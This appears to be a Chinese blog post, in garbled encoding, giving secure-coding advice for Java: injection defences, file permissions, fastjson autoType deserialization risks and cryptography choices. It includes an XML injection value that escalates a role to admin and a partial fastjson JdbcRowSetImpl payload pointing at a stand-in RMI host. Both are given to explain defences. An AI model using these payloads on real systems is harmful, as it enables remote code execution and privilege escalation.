Java安全開(kāi)發(fā)

一、數(shù)據(jù)校驗(yàn)

數(shù)據(jù)校驗(yàn)一般分為兩種思路:

  • 黑名單

    剔除或者替換某些危險(xiǎn)的字符,但是這種方案是比較弱的校驗(yàn),因?yàn)槟阌肋h(yuǎn)想不到會(huì)有其它什么危險(xiǎn)的字符不在黑名單之內(nèi);

  • 白名單

    限定只能輸入合法的字符,安全性高,但是白名單可能會(huì)維護(hù)較多的內(nèi)容;

1.1 SQL注入

避免直接使用不可信的數(shù)據(jù)來(lái)拼接需要執(zhí)行的SQL語(yǔ)句,這是為了防止原始的SQL被意外地篡改為與預(yù)期完全不同語(yǔ)句。通常有以下兩種解決方法:

  • 使用參數(shù)化查詢(xún);

    參數(shù)化查詢(xún)?cè)贘DBC中主要表現(xiàn)就是使用PreparedStatement,數(shù)據(jù)庫(kù)的預(yù)編譯技術(shù)會(huì)將語(yǔ)句提前編譯好并形成執(zhí)行計(jì)劃保存在數(shù)據(jù)庫(kù)中,語(yǔ)句中的參數(shù)會(huì)使用占位符表示;后續(xù)傳入?yún)?shù)真正執(zhí)行時(shí),參數(shù)內(nèi)容無(wú)論是什么,都只會(huì)被當(dāng)作SQL參數(shù)按照原先的執(zhí)行計(jì)劃執(zhí)行,而不會(huì)因?yàn)閰?shù)內(nèi)容而改變執(zhí)行計(jì)劃從而造成意外的SQL。一句話(huà),語(yǔ)句是語(yǔ)句,參數(shù)是參數(shù),相互之間互不影響。

    在其它諸如Mybatis、Hibernate等框架中,都有相應(yīng)的語(yǔ)法來(lái)使用參數(shù)化查詢(xún);

  • 對(duì)不可信地?cái)?shù)據(jù)進(jìn)行校驗(yàn);

    對(duì)于常見(jiàn)的進(jìn)行SQL注入攻擊的特殊符號(hào)進(jìn)行過(guò)濾、替換或者是轉(zhuǎn)義,開(kāi)發(fā)者可以自己進(jìn)行這個(gè)過(guò)程,也可以使用ESAPI這個(gè)工具。ESAPI是OWASP提供的一個(gè)專(zhuān)門(mén)用來(lái)轉(zhuǎn)義危險(xiǎn)字符的類(lèi)庫(kù),使用它可以降低發(fā)生風(fēng)險(xiǎn)的概率。

1.2 XML注入

在構(gòu)造XML的時(shí)候,未對(duì)用戶(hù)輸入的內(nèi)容進(jìn)行校驗(yàn),很容易構(gòu)造出非預(yù)期的XML內(nèi)容。比如:

xmlString = "<user><role>employee</role><userid>" + request.getUserId() + "</userid><description>" + request.getDescription() + "</description></user>"
// 輸出xmlString構(gòu)造XML

如上代碼構(gòu)造出來(lái)的XML結(jié)構(gòu)應(yīng)該是這樣的:

<user>
  <role>employee</role>
  <userid>123</userid>
  <description>the first employee</description>
</user>

結(jié)果,程序沒(méi)有對(duì)入?yún)serId和description進(jìn)行內(nèi)容校驗(yàn),使得用戶(hù)在其中輸入了xml標(biāo)簽內(nèi)容,比如userId內(nèi)容為:

123</userid><role>admin</role><userid>123

那么構(gòu)造出來(lái)的XML將會(huì)是:

<user>
  <role>employee</role>
  <userid>123</userid>
  <role>admin</role>
  <userid>123</userid>
  <description>the first employee</description>
</user>

某些XML解析器(SAX)在解析時(shí),對(duì)于重復(fù)的標(biāo)簽內(nèi)容,后者會(huì)覆蓋前者,那么原本屬于employee角色的123用戶(hù),被提權(quán)成了admin角色。

對(duì)于XML注入的防范通常有如下兩種方法:

  • 開(kāi)發(fā)人員自己在程序中進(jìn)行特殊字符的白名單或者黑名單過(guò)濾;
  • 使用安全的XML解析庫(kù)(dom4j);

1.3 日志偽造

如果對(duì)用戶(hù)輸入?yún)?shù)沒(méi)有做校驗(yàn)直接就打印到日志中,那么日志內(nèi)容就可能被偽造。比如換行,增加了一些嚴(yán)重級(jí)別的日志,讓日志監(jiān)控報(bào)警,或者讓運(yùn)維人員誤以為系統(tǒng)發(fā)生了故障等。

1.4 命令注入

盡量避免使用Runtime.exec(parameter)來(lái)運(yùn)行系統(tǒng)命令,如果一定要使用,要做好白名單或者黑名單的校驗(yàn);

1.5 XSS攻擊

將用戶(hù)輸入的內(nèi)容未經(jīng)校驗(yàn)就直接返回到前端的html頁(yè)面,容易造成跨站腳本的執(zhí)行,從而導(dǎo)致用戶(hù)cookie的泄露。

解決方法也通常就是黑白名單過(guò)濾、替換、轉(zhuǎn)義。

二、IO操作

2.1 及時(shí)刪除使用完畢的臨時(shí)文件

臨時(shí)文件可能會(huì)有用戶(hù)或者系統(tǒng)的敏感信息,開(kāi)發(fā)人員使用完畢后,不予及時(shí)刪除,那么擁有服務(wù)器文件訪(fǎng)問(wèn)權(quán)限的人,或者黑客通過(guò)服務(wù)器漏洞獲取服務(wù)器文件訪(fǎng)問(wèn)權(quán)限后,就有機(jī)會(huì)泄露敏感數(shù)據(jù)。

2.2 創(chuàng)建文件時(shí)指定合適的訪(fǎng)問(wèn)許可

現(xiàn)代Java在服務(wù)器上創(chuàng)建文件的時(shí)候就可以同時(shí)指定文件的訪(fǎng)問(wèn)權(quán)限:

d-rwx-rwx-rwx
分別表示文件類(lèi)型、文件所有者的權(quán)限、文件所屬組的權(quán)限、其他人的權(quán)限

如果一開(kāi)始沒(méi)有指定的話(huà),創(chuàng)建的文件很可能就會(huì)被別人意外的訪(fǎng)問(wèn)和更改。

2.3 限制上傳文件的格式和大小

防止上傳惡意的可執(zhí)行腳本以及壓縮炸彈等。

三、序列化與反序列化

3.1 敏感數(shù)據(jù)的加密和簽名

加密是為了保證數(shù)據(jù)的秘密性,簽名是為了保證數(shù)據(jù)的完整性。

  • 不要使用私有的加密算法,通常這類(lèi)算法會(huì)引入很多不必要的漏洞;
  • 不要使用不安全的加密算法,比如對(duì)稱(chēng)算法中的DES;散列算法中的SHA1和MD5;推薦使用對(duì)稱(chēng)算法中的AES、SM4;推薦使用非對(duì)稱(chēng)算法中的RSA、SM2、SM9;推薦散列算法中的SM3;
  • 對(duì)敏感數(shù)據(jù)僅加密是不夠的,黑客完全可以隨機(jī)改動(dòng)密文,讓接收者無(wú)法解密;或者即使解密成功,也無(wú)法驗(yàn)證數(shù)據(jù)的完整性;
  • 先加密后簽名也是不合適的,黑客可以把原始簽名去除或者修改,讓接收者無(wú)法通過(guò)簽名驗(yàn)證;
  • 正確的做法應(yīng)該是先簽名,再加密;

3.2 禁止序列化未加密的敏感數(shù)據(jù)

主要是防止敏感數(shù)據(jù)被無(wú)意識(shí)地序列化導(dǎo)致信息地泄露。通常有兩種方案,一種是加密之后再序列化;還有一種是使用transient關(guān)鍵字或者其它序列化方法防止敏感字段被序列化。

3.3 三方庫(kù)的選擇

序列化和反序列化的類(lèi)庫(kù)有很多,Java自帶的、FastJson、Gason、Jackson等,其中自己在項(xiàng)目中常用的就是fastjson,但是最近fastjson為什么老是爆出漏洞?

這一切都是因?yàn)閒astjson的autoType特性。什么是AutoType屬性?我們舉一個(gè)例子來(lái)說(shuō)明一下。

@Data
public class Person {
    private String name;
    private Integer age;
}
@Data
public class Student extends Person {
    private Integer grade;
}
@Data
public class School {
    private String name;
    private Person person;
}

對(duì)如上School類(lèi)來(lái)說(shuō),其中引用的對(duì)象Person是一個(gè)父類(lèi),我們?cè)趯?shí)例化它的時(shí)候給它賦值一個(gè)子類(lèi)Student。

    public static void main(String[] args) {
        School school = new School();
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(3);
        school.setName("XX高中");
        school.setPerson(jack);

        String result = JSON.toJSONString(school);
        // 序列化結(jié)果為:{"name":"XX高中","person":{"age":12,"grade":3,"name":"jack"}}
        log.info("序列化結(jié)果為:{}", result);

        School school2 = JSON.parseObject(result, School.class);
        // 反序列化結(jié)果為:School(name=XX高中, person=Person(name=jack, age=12))
        log.info("反序列化結(jié)果為:{}", school2);
        Person person = school2.getPerson();
        // person為:Person(name=jack, age=12)
        log.info("person為:{}", person);
    }

我們注意到,在序列化的時(shí)候,Student子類(lèi)的類(lèi)型被抹去了,被父類(lèi)Person所替代。雖然其仍然擁有子類(lèi)特有的屬性grade,但是在反序列化的時(shí)候該屬性是不能被賦值到對(duì)應(yīng)的屬性上的,因?yàn)楦割?lèi)Person沒(méi)有這個(gè)屬性。我們也無(wú)法獲得子類(lèi)Student。

同樣的,我們使用Jackson來(lái)實(shí)現(xiàn)相同的效果如下:

    public static void main(String[] args) throws JsonProcessingException {
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(2);
        School school = new School();
        school.setName("XX高中");
        school.setPerson(jack);

        ObjectMapper mapper = new ObjectMapper();
        String result = mapper.writeValueAsString(school);
        log.info("序列化結(jié)果為:{}", result);

        //在反序列化時(shí)忽略在json中存在但Java對(duì)象不存在的屬性
        mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
        School school2 = mapper.readValue(result, School.class);
        log.info("反序列化結(jié)果為:{}", school2);
        Person person = school2.getPerson();
        log.info("person為:{}", person);
    }

使用Jackson同樣無(wú)法直接得到Student子類(lèi),但是fastjson的autoType特性就可以讓我們得到Student子類(lèi)。

    public static void main(String[] args) {
        School school = new School();
        Student jack = new Student();
        jack.setName("jack");
        jack.setAge(12);
        jack.setGrade(3);
        school.setName("XX高中");
        school.setPerson(jack);

        // autoType默認(rèn)是關(guān)閉的,需要手動(dòng)開(kāi)啟
        String result = JSON.toJSONString(school, SerializerFeature.WriteClassName);
        // 序列化結(jié)果為:{"@type":"*.School","name":"XX高中","person":{"@type":"*.Student","age":12,"grade":3,"name":"jack"}}
        log.info("序列化結(jié)果為:{}", result);

        School school2 = JSON.parseObject(result, School.class);
        // 反序列化結(jié)果為:School(name=XX高中, person=Student(grade=3))
        log.info("反序列化結(jié)果為:{}", school2);
        Person person = school2.getPerson();
        // person為:Student(grade=3)
        log.info("person為:{}", person);
    }

那么為什么autoType會(huì)導(dǎo)致漏洞的產(chǎn)生呢?這其實(shí)取決于fastjson的序列化和反序列機(jī)制,和Gason不同,Gason是基于反射的原理來(lái)獲取和賦值屬性的,fastjson是基于getter和setter方法的。當(dāng)我們啟用autoType的時(shí)候,黑客可以篡改json字符串,將其中的@type類(lèi)改為一些可以遠(yuǎn)程執(zhí)行命令的類(lèi),比如com.sun.rowset.JdbcRowSetImpl,然后在反序列化的時(shí)候利用setter方法,將json字符串中的參數(shù)值改為遠(yuǎn)程的命令,那么就達(dá)到了利用服務(wù)器遠(yuǎn)程執(zhí)行命令漏洞的目的。

下面是一個(gè)可能被篡改的json字符串:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://danger:9999/execute".......}

后續(xù)版本中,fastjson主要就是默認(rèn)關(guān)閉了autoType開(kāi)關(guān),并不斷地添加黑白名單,黑客總有辦法繞過(guò)黑白名單,并通過(guò)一些其它方法攻擊fastjson的這個(gè)漏洞。

現(xiàn)在fastjson的漏洞問(wèn)題可以通過(guò)以下三種方法解決:

  • 升級(jí)到最新版本,autoType默認(rèn)關(guān)閉,想使用手動(dòng)開(kāi)啟即可;
  • 68老版本中,如果確認(rèn)不需要使用autoType,可以設(shè)置為安全模式,禁用autoType,注意一定要禁用,即使默認(rèn)關(guān)閉autoType不使用,仍然有可能存在漏洞風(fēng)險(xiǎn);
  • 使用其它第三方類(lèi)庫(kù)替換,但是因?yàn)锳PI都不盡相同,開(kāi)發(fā)成本不低;

四、運(yùn)行環(huán)境

4.1 避免包含任何調(diào)試入口點(diǎn)

開(kāi)發(fā)者在開(kāi)發(fā)過(guò)程中,可能會(huì)出于調(diào)試的目的在項(xiàng)目中留下了特定的后門(mén)代碼,這些代碼沒(méi)有必要與應(yīng)用一起交付生產(chǎn)部署。

public class Test{
  public static void main(String[] args) {
    Person person = new Persion();
    // 一些關(guān)于Person類(lèi)的測(cè)試代碼
  }
}

這樣的調(diào)試入口點(diǎn)在生產(chǎn)上是很可能被攻擊者利用,使用Test.main()來(lái)執(zhí)行Person類(lèi)的測(cè)試代碼的。所以,應(yīng)該在發(fā)布生產(chǎn)前,將這樣的代碼全部移除。

4.2 避免無(wú)認(rèn)證地暴露后臺(tái)接口信息及端點(diǎn)信息

  • swagger可以看到所有的接口信息;
  • acutator可以監(jiān)控系統(tǒng)運(yùn)行信息;

諸如此類(lèi)的springboot插件不允許沒(méi)有認(rèn)證措施就允許被訪(fǎng)問(wèn)。

五、其它

5.1 禁止在日志中打印敏感數(shù)據(jù)

口令、密鑰、用戶(hù)的敏感信息等。

5.2 禁止硬編碼敏感信息

任何能夠訪(fǎng)問(wèn)到class文件的人都可以反編譯發(fā)現(xiàn)這些硬編碼的敏感信息,同樣的,也不能存儲(chǔ)在配置文件中。

可以從外部的一個(gè)安全的文件夾中獲取,或者從某些提供安全信息存儲(chǔ)的服務(wù)中獲取。

5.3 使用安全的加密算法

  • 對(duì)稱(chēng)
    • AES128
    • AES192
    • AES256
    • SM1
  • 非對(duì)稱(chēng)
    • RSA2048
    • ECC256
    • SM2
  • 消息摘要
    • SHA2(224\256\384)
    • SHA3
    • SM3(256)

在使用Hash算法的時(shí)候,同樣的內(nèi)容會(huì)hash得到同樣的值,所以很容易被破解,應(yīng)該是用鹽值:

  • 鹽值至少需要8個(gè)字節(jié)的內(nèi)容,且鹽值應(yīng)該是由安全隨機(jī)數(shù)產(chǎn)生;
  • 應(yīng)該使用強(qiáng)Hash函數(shù),比如SHA256;
  • 默認(rèn)需要進(jìn)行50000次hash,對(duì)性能有要求的系統(tǒng)至少要5000次hash;

如上要求的Hash值的產(chǎn)生都是有對(duì)應(yīng)的JDK類(lèi)庫(kù)支持的,比如PBKDF2算法,不需要我們手動(dòng)去實(shí)現(xiàn)。

5.4 使用強(qiáng)隨機(jī)數(shù)

java.util.Random產(chǎn)生的是偽隨機(jī)數(shù)序列,不能用于安全敏感的應(yīng)用,應(yīng)該是用java.security.SecureRandom類(lèi)。

六、參考內(nèi)容

fastjson到底做錯(cuò)了什么?為什么會(huì)被頻繁爆出漏洞?

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容